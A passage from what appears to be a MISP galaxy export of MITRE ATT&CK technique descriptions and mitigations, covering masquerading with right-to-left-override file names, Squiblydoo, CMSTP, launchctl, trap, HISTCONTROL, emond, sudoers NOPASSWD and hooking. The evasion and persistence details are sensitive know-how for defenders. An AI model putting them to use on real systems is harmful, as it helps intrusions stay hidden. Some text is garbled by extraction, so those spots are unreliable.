2014)

## Masquerading - T1036

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named `March 25 \u202EExcod.scr` will display as `March 25 rcs.docx`. A JavaScript file named `photo_high_re\u202Egpn.js` will be displayed as `photo_high_resj.png`. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances

of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)

## Windows

In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

An example of abuse of trusted locations in Windows would be the `C:\Windows\System32` directory. Examples of trusted binary names that can be given to malicious binaries include "explorer.exe" and "svchost.exe".

## Linux

Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)

An example of abuse of trusted locations in Linux would be the `/bin` directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)

## Scripting - T1064

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](<https://attack.mitre.org/techniques/T1086>) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](<https://attack.mitre.org/techniques/T1203>), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit\_Ref), Veil (Citation: Veil\_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

## Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

## Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the

BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

## Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

## PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](<https://attack.mitre.org/software/S0363>), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

## Timestomp - T1099

Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](<https://attack.mitre.org/techniques/T1036>) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

## Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](<https://attack.mitre.org/techniques/T1122>). (Citation: Carbon Black Squiblydoo Apr 2016)

## InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: `C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe` and `C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe`. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute `[System.ComponentModel.RunInstaller(true)]`. (Citation: LOLBAS Installutil)

## CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation:

Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](<https://attack.mitre.org/techniques/T1117>) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1088>) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1191"*

## Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in `~/Library/Keychains/`, `/Library/Keychains/`, and `/Network/Library/Keychains/`. (Citation: Wikipedia keychain) The `security` command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1142"*

## Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as `launchctl submit -l <labelName> —/Path/to/thing/to/execute "arg" "arg" "arg"`. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1152"*

Table 2498. Table References

Links

<https://attack.mitre.org/techniques/T1152>

## Source - T1153

The `source` command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways `source /path/to/filename [arguments]` or `./path/to/filename [arguments]`. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: *misp-galaxy:mitre-attack-pattern="Source - T1153"*

Table 2499. Table References

Links

<https://attack.mitre.org/techniques/T1153>

<https://ss64.com/bash/source.html>

## Trap - T1154

The `trap` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `ctrl+c` and `ctrl+d`. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format `trap 'command list' signals` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: *misp-galaxy:mitre-attack-pattern="Trap - T1154"*

Table 2500. Table References

<a href="https://bash.cyberciti.biz/guide/Trap_statement">https://bash.cyberciti.biz/guide/Trap_statement</a>

## HISTCONTROL - T1148

The `HISTCONTROL` environment variable keeps track of what should be saved by the `history` command and eventually into the `~/.bash_history` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that "ls" will not be saved, but "ls" would be saved by history. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: *misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"*

Table 2501. Table References

Links
<a href="https://attack.mitre.org/techniques/T1148">https://attack.mitre.org/techniques/T1148</a>

## Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.

## Internal

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

## External

Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>).(Citation: Trend Micro Deep Dive Into Defacement)

## AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the `osalang` program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `osascript /path/to/script` or `osascript -e "script here"`.

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1155"*

## Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) configuration file at `/System/Library/LaunchDaemons/com.apple.emond.plist`.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) service.

The tag is: *misp-galaxy:mitre-attack-pattern="Emond - T1519"*

## Sudo - T1169

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL` (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

## Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user

authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](<https://attack.mitre.org/techniques/T1014>)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

## Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

## SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

## Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

## Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. ## Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

## Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

## DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. `%SYSTEMROOT%`) to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode` (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

## File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users `[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]` to automatically deny elevation requests, add: `"ConsentPromptBehaviorUser"=dword:00000000` (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: `"EnableInstallerDetection"=dword:00000001`. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: `"EnableInstallerDetection"=dword:00000000`. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

## Exfiltration Over Alternative Protocol Mitigation - T1048

Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. ## Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. ## Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for

adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

## Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running

earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

## Exploitation for Credential Access Mitigation - T1212

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"*

Exploitation for Credential Access Mitigation - T1212 has relationships with:

# Data from Information Repositories Mitigation - T1213

To mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored
- Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
- Enforce the principle of least-privilege
- Periodic privilege review of accounts
- Mitigate access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) that may be used to access repositories

# Kernel Modules and Extensions Mitigation - T1215

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

## Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

## Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

## Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the

chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

## Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

## Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

## Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that

account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

## Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. ## Standard Cryptographic Protocol Mitigation - T1032

